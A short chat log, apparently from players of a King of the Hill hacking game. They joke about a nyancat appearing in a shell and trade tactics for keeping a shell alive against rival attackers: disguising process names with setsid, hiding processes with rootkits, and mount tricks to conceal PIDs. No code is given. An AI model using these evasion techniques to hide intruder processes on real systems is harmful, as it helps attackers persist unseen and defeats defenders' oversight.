oh buddy the nayan cat

just popped up

thats actually pretty funny

getting straight up nyaned

[steep agate]

even without tty there is still how to spawn a nyancat in your shell hahaha

[stiff egret]

indeed, it just makes it a bit of an effort for the attacker. Otherwise you die with basic oneliners working off who or w

[steep agate]

in fact even if you enter without tty your PID will still be visible in ps aufwx for example and then the other attacker can kill your PID this happens a lot in koth unless you use setsid to trick other opponents with names of processes similar to a normal process

btw or hide your process using rootkit userland/kernel land, or use a simple trick with mount, to mount your process in another directory, just to avoid them killing your shell, there are players who can only play like this 😄

[regal chasm]

anyone wanna play a private match?